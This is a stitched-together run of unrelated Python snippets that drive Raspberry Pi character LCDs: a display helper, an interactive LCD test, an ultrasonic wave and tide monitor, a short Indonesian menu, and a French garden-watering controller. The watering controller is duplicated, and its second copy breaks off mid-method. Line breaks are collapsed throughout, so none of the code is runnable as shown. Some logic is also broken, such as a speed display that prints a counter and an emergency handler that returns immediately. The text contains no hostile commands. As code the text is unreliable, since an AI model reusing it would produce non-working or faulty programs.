sys.stdout.write(message) sys.stdout.flush() if gv.USE_GUI: gui_message = message.replace('\r', '') gui_message = gui_message.replace(' || ', '\r') gv.gui.output['text'] = gui_message # lcd.message(s1 + " "*8 + "\n" + s2 + " "*15) # if gv.IS_DEBIAN: # lcd.message(s1 + "\n" + s2) self.STRING_1 = str(s1[:gv.LCD_COLS]) # line 1 self.STRING_2 = str(s2[:gv.LCD_COLS]) # line 2 self.timeout = self.timeout_init self.display_called = True
lcd.cursor_mode = CursorMode.line input('The cursor should now be a line. ') lcd.write_string('Hello world!') input('"Hello world!" should be on the LCD. ') assert lcd.cursor_pos == (0, 12), 'cursor_pos should now be (0, 12)' lcd.cursor_pos = (0, 15) lcd.write_string('1') lcd.cursor_pos = (1, 15) lcd.write_string('2') assert lcd.cursor_pos == (0, 0), 'cursor_pos should now be (0, 0)' input('Lines 1 and 2 should now be labelled with the right numbers on the right side. ') lcd.clear() input('Display should now be clear, cursor should be at initial position. ') lcd.cursor_pos = (0, 5) lcd.write_string('12345') input('The string should have a left offset of 5 characters. ') lcd.write_shift_mode = ShiftMode.display lcd.cursor_pos = (1, 5) lcd.write_string('12345') input('Both strings should now be at column 0. ') lcd.write_shift_mode = ShiftMode.cursor lcd.cursor_pos = (1, 5) lcd.write_string(lcd.write_shift_mode.name) input('The string "cursor" should now be on the second row, column 0. ')
class OceanMonitor: def __init__(self): # hardcoded PINOUT self.sensor_left = SonicSensor(trig_pin=16, echo_pin=12, numbering_mode=GPIO.BCM) self.sensor_right = SonicSensor(trig_pin=18, echo_pin=24, numbering_mode=GPIO.BCM) self.lcd = CharLCD(numbering_mode=GPIO.BCM, cols=16, rows=2, pin_rs=21, pin_e=20, pins_data=[5,7,8,25,26,19,13,6]) self.rotary = RotaryEncoder(dt_pin=3, clk_pin=4, lower_limit=0, upper_limit=40) self.button = Button(pin=2) # parameters for filtering and smoothing # self.interval = ?? # self.window = 30 # for filters and running smoother self.threshold = 3 # for filters self.weight = .3 # for exponential smoother self.iterations = 3 # for exponential smoother self.lag = 10 # for peak detection. Probably not needed as using a simple peak detector # memory for both sensors self.raw_data_left = deque([-1]*self.window, maxlen=self.window) self.raw_data_right = deque([-1]*self.window, maxlen=self.window) self.data_left = deque([-1]*self.window, maxlen=self.window) self.data_right = deque([-1]*self.window, maxlen=self.window) # parameters and variables for tide self.initial_water_level = -1 # mean measured from past hour self.initial_median_dist = 0 # man measured distance from past readings self.current_median_dist = 0 # self.tide_window = 1001 self.points_for_median_dist = deque(maxlen=self.tide_window) # used for adding points to running average # parameters and variables for speed self.sensor_spacing = 10 # cm self.delay = .3 # time to do one iteration self.left_peak = False self.counter = -1 # used as unit of time # misc self.calibration_delay = 0 # s time used after setting water level to move sensor into place self.line2 = u'Wave: None' ''' A control loop in which user uses the rotary encoder to set the initial water level ''' def set_initial_distance(self): self.rotary.start() self.lcd.clear() while self.rotary.get_count() == 0: self.lcd.clear() self.lcd.write_string(u'Use dial to set water level ') time.sleep(2) self.lcd.clear() self.lcd.write_string(u'press button when set') time.sleep(1.5) while True : if self.button.pressed(): break self.lcd.clear() self.lcd.write_string(u'{} cm'.format(self.rotary.get_count()*10)) time.sleep(0.1) self.rotary.stop() self.initial_water_level = self.rotary.get_count()*10 self.lcd.clear() self.lcd.write_string('Set level to {} cm'.format(self.initial_water_level)) ''' a function that uses dsp on the collected data to filter outliers and smooth points ''' ''' Uses the number of iterations, spacing and delay of iteration to get the speed between two detected peaks ''' def __calc_speed(self): return self.sensor_spacing / (self.counter*self.delay) # cm/s ''' maintains a current water level using a windowed average ''' def __update_median_dist(self, point1, point2): self.points_for_median_dist.append(point1) self.points_for_median_dist.append(point2) self.current_median_dist = np.median(self.points_for_median_dist) ''' calulates the tide form the initial water level and the current mean ''' def __get_tide(self): #print(self.initial_water_level , self.initial_median_dist , self.current_median_dist) return self.initial_water_level + self.initial_median_dist - self.current_median_dist ''' An iteration of the main control loop. Samples both sensors and reports if a wave has been detected the speed of an earlier detected wave or the tide as no waves have been detected ASSUMPUTIONS MADE: a wave travels from left to right a waves peak and trough will not both pass the left sensor before the first passes the right sensor ''' ''' TODO: spin loops for synchronus behavior: max delay before left read max delay for read max delay before right read max delay for read max delay after right read ''' def __iteration(self): # if there are no current waves detected then report tide # get data from left sensor self.raw_data_left.append( self.sensor_left.get_distance() ) # perform outlier check self.data_left.append( rolling_median_filter_last_point(np.array(self.raw_data_left), threshold=self.threshold, replace_with=self.data_left[-1]) ) # smooth on checked data clean_data_left = exponential_filter(self.data_left, weight=self.weight, iterations=self.iterations) # check if the previous was a peak was_previous_a_peak_left = recent_peak(clean_data_left, lag=self.lag) #print was_previous_a_peak_left, #print self.raw_data_left[-1], #print self.data_left[-1], clean_data_left[-1], #print np.median(clean_data_left), self.current_median_dist #print (np.std(clean_data_left), clean_data_left[-2], np.median(clean_data_left)) #for d in clean_data_left: # print '{0:.2f},'.format(d), #print line1 = u'Tide: {0:5.1f} cm '.format(self.__get_tide()) if (was_previous_a_peak_left == -1): # it was a trough in the measurement then it is a wave peak if abs(clean_data_left[-self.lag-1]-self.current_median_dist) > 5: #for d in clean_data_left: # print '{0:.2f},'.format(d), #print self.prev_peak_dist = clean_data_left[-2] # inform the world self.line2 = u'Wave: {0:5.1f} cm'.format(self.current_median_dist-clean_data_left[-self.lag-1]) self.counter = 1 self.left_peak = True else: pass #wave was too small, probably not a real wave self.lcd.clear() self.lcd.write_string(line1+self.line2) # get data from right sensor self.raw_data_right.append( self.sensor_right.get_distance() ) # perform outlier check self.data_right.append( rolling_median_filter_last_point(np.array(self.raw_data_right), threshold=self.threshold, replace_with=self.data_right[-1]) ) # smooth on checked data clean_data_right = exponential_filter(self.data_right, weight=self.weight, iterations=self.iterations) # check if the previous was a peak was_previous_a_peak_right = recent_peak(clean_data_right, lag=self.lag) if (was_previous_a_peak_right == -1 and self.left_peak): speed = self.__calc_speed() self.line2 = u'Wave: {0:5.1f} cm/s'.format(self.counter) self.left_peak = False self.__update_median_dist(clean_data_left[-1], clean_data_right[-1]) self.counter += 1 ''' setups and runs the the sensor ''' def run(self): try: # initial distance setting print('setting initial distance') self.set_initial_distance() # delay calibration print('delaying calibration') for i in range(self.calibration_delay): self.lcd.clear() self.lcd.write_string('calibrating in {}'.format(self.calibration_delay-i)) time.sleep(1) # fill the queues withdata print('calibrating') self.lcd.clear() self.lcd.write_string('CALIBRATING: ignore LCD out') time.sleep(1) for i in range(100): self.__iteration() self.initial_median_dist = self.current_median_dist self.lcd.clear() self.lcd.write_string('CALIBRATING: Done!') self.line2 = u'Wave: None' time.sleep(1) # run main event loop print('running') while True: self.__iteration() #time.sleep(1) except KeyboardInterrupt: pass GPIO.cleanup()
from RPLCD import CharLCD import RPi.GPIO as GPIO import time from pad4pi import rpi_gpio pins_data=[9, 10, 22, 21] pins_data2=[21,22,10,9] pin_e=11 pin_rs=7 GPIO.setmode(GPIO.BCM) GPIO.setup(pin_rs, GPIO.OUT) GPIO.setup(pin_e, GPIO.OUT) for pin in pins_data: GPIO.setup(pin, GPIO.OUT) GPIO.output(pin, True) lcd = CharLCD(cols=16, rows=2, pin_rs=7, pin_e=11, pins_data=[9, 10, 21, 22], numbering_mode=GPIO.BCM) lcd.cursor_pos = (0,0) lcd.write_string(u'Pinjam/Kembali?') lcd.cursor_pos = (1,0) lcd.write_string(u'1:P 2:K 3:Back') time.sleep(5) lcd.clear() GPIO.cleanup()
class Watering: def __init__(self): # Watering variables self.daysBetweenWatering = 3 # Number of days between one watering self.startTime = [23, 50] # [hh, mm] self.durationOfWatering = 40 # in minutes self.modeList = ['AUTO', 'MANU'] # List of available modes self.currentModeSelected = 0 self.lastWatering = None # Last date of watering self.ongoingWatering = False # Is the watering on going or not self.endWateringDate = None # Contains the datetime of the end of the current watering # Emergency self.emergency_on = False # Process self.watering_process = None self.emergency_process = None # Menu self.currentMenuSelected = 0 self.configMenuSelected = 0 self.HOME_MENU = 0 self.CONFIG_MENU = 1 self.CONFIG_DETAILS_MENU = 2 self.EMERGENCY_MENU = 3 self.mainMenu = { 0: self.display_menu_home, 1: self.display_config_menu, 2: self.display_config_details, 3: self.display_emergency } self.START_STOP_WATERING_CONFIG_MENU = 0 self.DAYS_OF_WATERING_CONFIG_MENU = 1 self.START_WATERING_AT_CONFIG_MENU = 2 self.DURATION_OF_WATERING_CONFIG_MENU = 3 self.MODE_SELECTION_CONFIG_MENU = 4 self.CHANGE_DAY_DATE_CONFIG_MENU = 5 self.CHANGE_MONTH_DATE_CONFIG_MENU = 6 self.CHANGE_YEAR_DATE_CONFIG_MENU = 7 self.CHANGE_HOUR_DATE_CONFIG_MENU = 8 self.CHANGE_MINUTE_DATE_CONFIG_MENU = 9 self.configMenu = { 0: (self.display_menu_start_stop_watering, "Demarrer/Arreter"), 1: (self.display_menu_watering_days, "Jours d'arro."), 2: (self.display_menu_start_time, "Heure de debut"), 3: (self.display_menu_duration, "Duree d'arro."), 4: (self.display_menu_mode, "Mode d'arro."), 5: (self.display_menu_change_day_date, 'Changer le jour'), 6: (self.display_menu_change_month_date, 'Changer le mois'), 7: (self.display_menu_change_year_date, 'Changer l\'annee'), 8: (self.display_menu_change_hour_date, 'Changer l\'heure'), 9: (self.display_menu_change_minute_date, 'Changer les min') } # LCD setup and startup self.last_activity = datetime.datetime.today() self.time_before_switch_off = 60 * 5 # In seconds self.lcd = CharLCD(pin_backlight=18, backlight_mode=BacklightMode.active_high, pin_rw=None) self.lcd.backlight = True self.lcd.cursor_pos = (0, 0) self.lcd.write_string('Demarrage en cours..') self.lcd.cursor_pos = (1, 0) self.lcd.write_string('Initialisation des') self.lcd.cursor_pos = (2, 0) self.lcd.write_string('parametres ') self.lcd.cursor_mode = CursorMode.blink # Setup the GPIOs self.setup_gpio(param.GPIO) # Test if all LEDs work self.test_setup() # Clean the lcd self.lcd.clear() self.lcd.cursor_mode = CursorMode.hide # Put the relay to the off position GPIO.output(param.GPIO['relay'][1], GPIO.LOW) self.start() # GPIO configuration def setup_gpio(self, array): GPIO.setwarnings(False) GPIO.setmode(GPIO.BOARD) # v[0] contains the key # v[1] contains the value for v in array.items(): if isinstance(v[1], dict): self.setup_gpio(v[1]) else: if v[1][0].upper() == "IN": GPIO.setup(v[1][1], GPIO.IN, pull_up_down=GPIO.PUD_UP) # Define callback method if v[0] in ['left', 'right']: GPIO.add_event_detect(v[1][1], GPIO.FALLING, callback=self.left_right_btn_pressed, bouncetime=500) elif v[0] in ['up', 'bottom']: GPIO.add_event_detect(v[1][1], GPIO.FALLING, callback=self.up_bottom_btn_pressed, bouncetime=500) elif v[0] == 'emergency': GPIO.add_event_detect(v[1][1], GPIO.FALLING, callback=self.emergency_btn_pressed, bouncetime=2000) else: GPIO.setup(v[1][1], GPIO.OUT) # Test if all LEDs work def test_setup(self): GPIO.output(param.GPIO['led']['green'][1], GPIO.HIGH) GPIO.output(param.GPIO['led']['red'][1], GPIO.HIGH) time.sleep(5) GPIO.output(param.GPIO['led']['green'][1], GPIO.LOW) GPIO.output(param.GPIO['led']['red'][1], GPIO.LOW) def start(self): while True: date_diff = datetime.datetime.today() - self.last_activity if self.lcd.display_enabled and date_diff.seconds > self.time_before_switch_off and self.currentMenuSelected != self.CONFIG_DETAILS_MENU: self.switch_off_lcd() self.currentMenuSelected = self.HOME_MENU elif not self.lcd.display_enabled and date_diff.seconds < self.time_before_switch_off: self.switch_on_lcd() self.display_menu() else: # Displays the menu only if the screen is on self.display_menu() # Calculates if it has to water or not # If mode AUTO if self.modeList[self.currentModeSelected] == "AUTO" and self.has_to_water() and not self.ongoingWatering: self.start_watering() # Stops the watering after duration specified elif self.ongoingWatering and self.endWateringDate < datetime.datetime.today(): self.stop_watering() time.sleep(.5) # Changes the currentMenuSelected def left_right_btn_pressed(self, channel): if not self.lcd.display_enabled: self.last_activity = datetime.datetime.today() return self.last_activity = datetime.datetime.today() if self.emergency_on: return if param.GPIO['btn']['right'][1] == channel: self.currentMenuSelected = self.currentMenuSelected + 1 if self.currentMenuSelected < len( self.mainMenu) - 2 else 0 elif param.GPIO['btn']['left'][1] == channel: self.currentMenuSelected = self.currentMenuSelected - 1 if self.currentMenuSelected > 0 else 0 # Changes the value of the corresponding currentMenuSelected def up_bottom_btn_pressed(self, channel): if not self.lcd.display_enabled: self.last_activity = datetime.datetime.today() return self.last_activity = datetime.datetime.today() # Change the current selected config menu if self.currentMenuSelected == self.CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: self.configMenuSelected = self.configMenuSelected - 1 if self.configMenuSelected > 0 else len( self.configMenu) - 1 if param.GPIO['btn']['bottom'][1] == channel: self.configMenuSelected = self.configMenuSelected + 1 if self.configMenuSelected < len( self.configMenu) - 1 else 0 # Adds or removes days between watering elif self.configMenuSelected == self.DAYS_OF_WATERING_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: self.daysBetweenWatering = self.daysBetweenWatering + 1 if self.daysBetweenWatering < 7 else 1 if param.GPIO['btn']['bottom'][1] == channel: self.daysBetweenWatering = self.daysBetweenWatering - 1 if self.daysBetweenWatering > 1 else 7 # Defines the time when the watering must start elif self.configMenuSelected == self.START_WATERING_AT_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: self.add_start_time() if param.GPIO['btn']['bottom'][1] == channel: self.remove_start_time() # Adds or removes the duration of watering elif self.configMenuSelected == self.DURATION_OF_WATERING_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: self.durationOfWatering += 10 if param.GPIO['btn']['bottom'][1] == channel and self.durationOfWatering > 10: self.durationOfWatering -= 10 # Changes the current mode elif self.configMenuSelected == self.MODE_SELECTION_CONFIG_MENU: length = len(self.modeList) if param.GPIO['btn']['up'][1] == channel: self.currentModeSelected = self.currentModeSelected + 1 if self.currentModeSelected < length - 1 else 0 if param.GPIO['btn']['bottom'][1] == channel: self.currentModeSelected = self.currentModeSelected - 1 if self.currentModeSelected > 0 else length - 1 # Change the current datetime of the OS elif self.configMenuSelected == self.CHANGE_DAY_DATE_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: subprocess.call(["sudo", "date", "-s", "+1 day"]) elif param.GPIO['btn']['bottom'][1] == channel: subprocess.call(["sudo", "date", "-s", "-1 day"]) subprocess.call(["sudo", "hwclock", "-w"]) elif self.configMenuSelected == self.CHANGE_MONTH_DATE_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: subprocess.call(["sudo", "date", "-s", "+1 month"]) elif param.GPIO['btn']['bottom'][1] == channel: subprocess.call(["sudo", "date", "-s", "-1 month"]) subprocess.call(["sudo", "hwclock", "-w"]) elif self.configMenuSelected == self.CHANGE_YEAR_DATE_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: subprocess.call(["sudo", "date", "-s", "+1 year"]) elif param.GPIO['btn']['bottom'][1] == channel: subprocess.call(["sudo", "date", "-s", "-1 year"]) subprocess.call(["sudo", "hwclock", "-w"]) elif self.configMenuSelected == self.CHANGE_HOUR_DATE_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: subprocess.call(["sudo", "date", "-s", "+1 hour"]) elif param.GPIO['btn']['bottom'][1] == channel: subprocess.call(["sudo", "date", "-s", "-1 hour"]) subprocess.call(["sudo", "hwclock", "-w"]) elif self.configMenuSelected == self.CHANGE_MINUTE_DATE_CONFIG_MENU: if param.GPIO['btn']['up'][1] == channel: subprocess.call(["sudo", "date", "-s", "+1 minute"]) elif param.GPIO['btn']['bottom'][1] == channel: subprocess.call(["sudo", "date", "-s", "-1 minute"]) subprocess.call(["sudo", "hwclock", "-w"]) # Stops or start the emergency def emergency_btn_pressed(self, channel): return self.last_activity = datetime.datetime.today() # Stops if self.emergency_on: if self.emergency_process.is_alive(): self.emergency_process.terminate() self.emergency_on = False self.currentMenuSelected = self.HOME_MENU GPIO.output(param.GPIO['led']['red'][1], GPIO.LOW) # Starts else: self.emergency_on = True self.currentMenuSelected = self.EMERGENCY_MENU self.stop_watering() # If an old process exists -> terminate if self.emergency_process: if self.emergency_process.is_alive(): self.emergency_process.terminate() self.emergency_process = None # Creation of the new process self.emergency_process = multiprocessing.Process(target=self.start_emergency) self.emergency_process.start() # Adds 10 minutes to the start time def add_start_time(self): if self.startTime[0] == 23 and self.startTime[1] == 50: self.startTime = [0, 0] elif self.startTime[1] == 50: self.startTime[0] += 1 self.startTime[1] = 0 else: self.startTime[1] += 10 # Removes 10 minutes to the start time def remove_start_time(self): if self.startTime[0] == 0 and self.startTime[1] == 0: self.startTime = [23, 50] elif self.startTime[1] == 00: self.startTime[0] -= 1 self.startTime[1] = 50 else: self.startTime[1] -= 10 # Returns the time 23h30 def display_time(self): hours = str(self.startTime[0]) if self.startTime[0] > 9 else "0" + str(self.startTime[0]) minutes = str(self.startTime[1]) if self.startTime[1] > 9 else "0" + str(self.startTime[1]) return hours + "h" + minutes # Displays the main menu def display_menu(self): self.mainMenu.get(self.currentMenuSelected)() # Display the menu to the LCD def display_2_lcd(self, lines): self.lcd.cursor_mode = CursorMode.hide blank_line = '{:^20}'.format(' ') for key, value in enumerate(lines): self.lcd.cursor_pos = (key, 0) if value: self.lcd.write_string('{:20}'.format(value)) else: self.lcd.write_string(blank_line) # Displays the home menu def display_menu_home(self): self.configMenuSelected = 0 today = datetime.datetime.today() line1 = '{:^20}'.format(today.strftime("%d/%m/%Y %H:%M")) line2 = '{:^20}'.format('Mode ' + self.modeList[self.currentModeSelected]) line4 = None # If watering ongoing if self.ongoingWatering: line3 = 'Arrosage en cours ' line4 = '{:^20}'.format(self.end_watering_in()) # If mode MANU elif self.modeList[self.currentModeSelected] == "MANU": line3 = 'Pas d\'arro programme' # If mode AUTO else: line3 = 'Proch. arro. dans: ' line4 = '{:^20}'.format(self.next_watering_in()) self.display_2_lcd([line1, line2, line3, line4]) # Displays the details of the selected configuration def display_config_details(self): self.configMenu[self.configMenuSelected][0]() def display_menu_start_stop_watering(self): if self.ongoingWatering: # If the ON mode is selected -> cant stop the watering if self.modeList[self.currentModeSelected] == 'ON': self.display_2_lcd([ "Impossible d'arreter", "l'arrosage en cours", '{:^20}'.format("Mode ON active"), None ]) else: self.stop_watering() self.display_2_lcd([ None, '{:^20}'.format("Arret de l'arrosage"), '{:^20}'.format("en cours..."), None ]) else: # If the OFF mode is selected -> cant start the watering if self.modeList[self.currentModeSelected] == 'OFF': self.display_2_lcd([ "Impossible d'allumer", "l'arrosage", '{:^20}'.format("Mode OFF active"), None ]) else: self.start_watering() self.display_2_lcd([ None, '{:^20}'.format('Demarrage de'), '{:^20}'.format("l'arrosage en cours..."), None ]) time.sleep(3) self.currentMenuSelected = self.HOME_MENU def display_menu_watering_days(self): self.display_2_lcd([ 'Arrosage tous les ', '{:^20}'.format(str(self.daysBetweenWatering) + ' jours'), None, '<Retour Home>' ]) def display_menu_start_time(self): self.display_2_lcd([ 'Arrosage a partir de', '{:^20}'.format(self.display_time()), None, '<Retour Home>' ]) def display_menu_duration(self): self.display_2_lcd([ 'Arrosage pendant ', '{:^20}'.format(str(self.durationOfWatering) + ' min'), None, '<Retour Home>' ]) def display_menu_mode(self): mode = "" for key, val in enumerate(self.modeList): if key == self.currentModeSelected: mode += " >" + val + "< " else: mode += " " + val.lower() + " " self.display_2_lcd([ 'Mode d\'arrosage ', '{:^20}'.format(mode), None, '<Retour Home>' ]) def display_menu_change_day_date(self): today = datetime.datetime.today() day = today.strftime("%d") month = today.strftime("%m") year = today.strftime("%Y") hour = today.strftime("%H") minute = today.strftime("%M") self.display_2_lcd([ 'Changement du jour', '{:^20}'.format('>' + day + '<' + '/' + month + '/' + year), '{:^20}'.format(hour + ':' + minute), '<Retour Home>' ]) def display_menu_change_month_date(self): today = datetime.datetime.today() day = today.strftime("%d") month = today.strftime("%m") year = today.strftime("%Y") hour = today.strftime("%H") minute = today.strftime("%M") self.display_2_lcd([ 'Changement du mois', '{:^20}'.format(day + '/' + '>' + month + '<' + '/' + year), '{:^20}'.format(hour + ':' + minute), '<Retour Home>' ]) def display_menu_change_year_date(self): today = datetime.datetime.today() day = today.strftime("%d") month = today.strftime("%m") year = today.strftime("%Y") hour = today.strftime("%H") minute = today.strftime("%M") self.display_2_lcd([ 'Changement de l\'an', '{:^20}'.format(day + '/' + month + '/' + '>' + year + '<'), '{:^20}'.format(hour + ':' + minute), '<Retour Home>' ]) def display_menu_change_hour_date(self): today = datetime.datetime.today() day = today.strftime("%d") month = today.strftime("%m") year = today.strftime("%Y") hour = today.strftime("%H") minute = today.strftime("%M") self.display_2_lcd([ 'Changement de l\'heure', '{:^20}'.format(day + '/' + month + '/' + year), '{:^20}'.format('>' + hour + '<' + ':' + minute), '<Retour Home>' ]) def display_menu_change_minute_date(self): today = datetime.datetime.today() day = today.strftime("%d") month = today.strftime("%m") year = today.strftime("%Y") hour = today.strftime("%H") minute = today.strftime("%M") self.display_2_lcd([ 'Changement des min', '{:^20}'.format(day + '/' + month + '/' + year), '{:^20}'.format(hour + ':' + '>' + minute + '<'), '<Retour Home>' ]) def display_config_menu(self): if 1 <= self.configMenuSelected <= len(self.configMenu) - 2: config_menu = [self.configMenuSelected - 1, self.configMenuSelected, self.configMenuSelected + 1] elif self.configMenuSelected == len(self.configMenu) - 1: config_menu = [self.configMenuSelected - 2, self.configMenuSelected - 1, self.configMenuSelected] else: config_menu = [0, 1, 2] lines = [] for i in config_menu: if i == self.configMenuSelected: lines.append('{:-^20}'.format('>' + self.configMenu[i][1] + '<')) else: lines.append('{:^20}'.format(self.configMenu[i][1])) lines.append('<Home Select>') self.display_2_lcd(lines) def display_emergency(self): self.display_2_lcd([ '{:^20}'.format('Urgence activee !'), None, '{:^20}'.format('Systeme desactive'), None ]) # Returns True if it's necessary to watering # Returns False if not def has_to_water(self): time_dif = self.get_next_watering_date() - datetime.datetime.today() if math.ceil(time_dif.total_seconds() / 60) <= 0: return True return False # Returns the time before the next watering begin def next_watering_in(self): time_dif = self.get_next_watering_date() - datetime.datetime.today() return self.convert_time_dif_to_string(time_dif) # Returns the next datetime to be watered def get_next_watering_date(self): if self.lastWatering: next_watering_date = self.lastWatering + datetime.timedelta(days=self.daysBetweenWatering) else: next_watering_date = datetime.datetime.today() day = next_watering_date.strftime("%d") month = next_watering_date.strftime("%m") year = next_watering_date.strftime("%Y") hour = '{:02d}'.format(self.startTime[0]) minute = '{:02d}'.format(self.startTime[1]) return datetime.datetime.strptime(day + "/" + month + "/" + year + " " + hour + ":" + minute, "%d/%m/%Y %H:%M") # Returns the time until the watering is completed def end_watering_in(self): time_dif = self.endWateringDate - datetime.datetime.today() return self.convert_time_dif_to_string(time_dif) # Converts the time difference to a string def convert_time_dif_to_string(self, time_dif): seconds = time_dif.seconds minutes = math.floor(seconds / 60) hours = math.floor(minutes / 60) days = time_dif.days if days > 0: return str(days) + "j " + str(math.floor(seconds / 3600)) + "h" elif hours > 0: hours = math.floor(time_dif.seconds / 3600) return str(hours) + "h" + '%02d' % math.floor((seconds - hours * 3600) / 60) elif minutes > 0: return str(minutes) + " min" else: return str(seconds) + " sec" # Starts the watering def start_watering(self): # If the mode is OFF, cannot water if self.modeList[self.currentModeSelected] == "OFF": return # If the emergency is on if self.emergency_on: return GPIO.output(param.GPIO['relay'][1], GPIO.HIGH) self.ongoingWatering = True self.lastWatering = datetime.datetime.today() self.endWateringDate = self.lastWatering + datetime.timedelta(minutes=self.durationOfWatering) # Terminates an old process if exists if self.watering_process: if self.watering_process.is_alive: self.watering_process.terminate() self.watering_process = None self.watering_process = multiprocessing.Process(target=self.watering) self.watering_process.start() # Stops the watering def stop_watering(self): # If the current mode is ON, cannot stop the watering if self.modeList[self.currentModeSelected] == "ON" and not self.emergency_on: return if self.watering_process: if self.watering_process.is_alive(): self.watering_process.terminate() self.watering_process = None GPIO.output(param.GPIO['relay'][1], GPIO.LOW) self.ongoingWatering = False GPIO.output(param.GPIO['led']['green'][1], GPIO.LOW) # Blinks the LED during the watering def watering(self): green_led = param.GPIO['led']['green'][1] self.led_blink(green_led, 5, 0.1) while True: GPIO.output(green_led, GPIO.HIGH) time.sleep(1) GPIO.output(green_led, GPIO.LOW) time.sleep(1) # Blinks during 1 sec fast def led_blink(self, pin, how_much, how_fast): for i in range(how_much): GPIO.output(pin, GPIO.HIGH) time.sleep(how_fast) GPIO.output(pin, GPIO.LOW) time.sleep(how_fast) # Starts the emergency process def start_emergency(self): while True: GPIO.output(param.GPIO['led']['red'][1], GPIO.HIGH) time.sleep(1) GPIO.output(param.GPIO['led']['red'][1], GPIO.LOW) time.sleep(1) def switch_off_lcd(self): self.lcd.display_enabled = False self.lcd.backlight_enabled = False def switch_on_lcd(self): self.lcd.display_enabled = True self.lcd.backlight_enabled = True self.lcd.clear() self.lcd.cursor_pos = (0, 0) self.lcd.cursor_mode = CursorMode.hide
class Watering: def __init__(self): # Watering variables self.daysBetweenWatering = 3 # Number of days between one watering self.startTime = [23, 50] # [hh, mm] self.durationOfWatering = 40 # in minutes self.modeList = ['AUTO', 'MANU'] # List of available modes self.currentModeSelected = 0 self.lastWatering = None # Last date of watering self.ongoingWatering = False # Is the watering on going or not self.endWateringDate = None # Contains the datetime of the end of the current watering # Emergency self.emergency_on = False # Process self.watering_process = None self.emergency_process = None # Menu self.currentMenuSelected = 0 self.configMenuSelected = 0 self.HOME_MENU = 0 self.CONFIG_MENU = 1 self.CONFIG_DETAILS_MENU = 2 self.EMERGENCY_MENU = 3 self.mainMenu = { 0: self.display_menu_home, 1: self.display_config_menu, 2: self.display_config_details, 3: self.display_emergency } self.START_STOP_WATERING_CONFIG_MENU = 0 self.DAYS_OF_WATERING_CONFIG_MENU = 1 self.START_WATERING_AT_CONFIG_MENU = 2 self.DURATION_OF_WATERING_CONFIG_MENU = 3 self.MODE_SELECTION_CONFIG_MENU = 4 self.CHANGE_DAY_DATE_CONFIG_MENU = 5 self.CHANGE_MONTH_DATE_CONFIG_MENU = 6 self.CHANGE_YEAR_DATE_CONFIG_MENU = 7 self.CHANGE_HOUR_DATE_CONFIG_MENU = 8 self.CHANGE_MINUTE_DATE_CONFIG_MENU = 9 self.configMenu = { 0: (self.display_menu_start_stop_watering, "Demarrer/Arreter"), 1: (self.display_menu_watering_days, "Jours d'arro."), 2: (self.display_menu_start_time, "Heure de debut"), 3: (self.display_menu_duration, "Duree d'arro."), 4: (self.display_menu_mode, "Mode d'arro."), 5: (self.display_menu_change_day_date, 'Changer le jour'), 6: (self.display_menu_change_month_date, 'Changer le mois'), 7: (self.display_menu_change_year_date, 'Changer l\'annee'), 8: (self.display_menu_change_hour_date, 'Changer l\'heure'), 9: (self.display_menu_change_minute_date, 'Changer les min') } # LCD setup and startup self.last_activity = datetime.datetime.today() self.time_before_switch_off = 60 * 5 # In seconds self.lcd = CharLCD(pin_backlight=18, backlight_mode=BacklightMode.active_high, pin_rw=None) self.lcd.backlight = True self.lcd.cursor_pos = (0, 0) self.lcd.write_string('Demarrage en cours..') self.lcd.cursor_pos = (1, 0) self.lcd.write_string('Initialisation des') self.lcd.cursor_pos = (2, 0) self.lcd.write_string('parametres ') self.lcd.cursor_mode = CursorMode.blink # Setup the GPIOs self.setup_gpio(param.GPIO) # Test if all LEDs work self.test_setup() # Clean the lcd self.lcd.clear() self.lcd.cursor_mode = CursorMode.hide # Put the relay to the off position GPIO.output(param.GPIO['relay'][1], GPIO.LOW) self.start() # GPIO configuration def setup_gpio(self, array): GPIO.setwarnings(False) GPIO.setmode(GPIO.BOARD) # v[0] contains the key # v[1] contains the value for v in array.items(): if isinstance(v[1], dict): self.setup_gpio(v[1]) else: if v[1][0].upper() == "IN": GPIO.setup(v[1][1], GPIO.IN, pull_up_down=GPIO.PUD_UP) # Define callback method if v[0] in ['left', 'right']: GPIO.add_event_detect( v[1][1], GPIO.FALLING, callback=self.left_right_btn_pressed, bouncetime=500) elif v[0] in ['up', 'bottom']: GPIO.add_event_detect( v[1][1], GPIO.FALLING, callback=self.up_bottom_btn_pressed, bouncetime=500) elif v[0] == 'emergency': GPIO.add_event_detect( v[1][1], GPIO.FALLING, callback=self.emergency_btn_pressed, bouncetime=2000) else: GPIO.setup(v[1][1], GPIO.OUT) # Test if all LEDs work def test_setup(self): GPIO.output(param.GPIO['led']['green'][1], GPIO.HIGH) GPIO.output(param.GPIO['led']['red'][1], GPIO.HIGH) time.sleep(5) GPIO.output(param.GPIO['led']['green'][1], GPIO.LOW) GPIO.output(param.GPIO['led']['red'][1], GPIO.LOW) def start(self): while True: date_diff = datetime.datetime.today() - self.last_activity if self.lcd.display_enabled and date_diff.seconds > self.time_before_switch_off and self.currentMenuSelected != self.CONFIG_DETAILS_MENU: self.switch_off_lcd() self.currentMenuSelected = self.HOME_MENU elif not self.lcd.display_enabled and date_diff.seconds < self.time_before_switch_off: self.switch_on_lcd() self.display_menu() else: # Displays the menu only if the screen is on self.display_menu() # Calculates if it has to water or not # If mode AUTO if self.modeList[ self.currentModeSelected] == "AUTO" and self.has_to_water( ) and not self.ongoingWatering: self.start_watering() # Stops the watering after duration specified elif self.ongoingWatering and self.endWateringDate < datetime.datetime.today( ): self.stop_watering() time.sleep(.5) # Changes the currentMenuSelected def left_right_btn_pressed(self, channel): if not self.lcd.display_enabled: self.last_activity = datetime.datetime.today() return self.last_activity = datetime.datetime.today() if self.emergency_on: return if param.GPIO['btn']['right'][1] == channel: self.currentMenuSelected = self.currentMenuSelected + 1 if self.currentMenuSelected < len( self.mainMenu) - 2 else 0 elif param.GPIO['btn']['left'][1] == channel: self.currentMenuSelected = self.currentMenuSelected - 1 if self.currentMenuSelected > 0 else 0 # Changes the value of the corresponding currentMenuSelected def up_bottom_btn_pressed(self, channel): if not self.lcd.display_enabled: self.last_activity = datetime.datetime.today() return self.last_activity = datetime.datetime.today() # Change the current selected config menu if 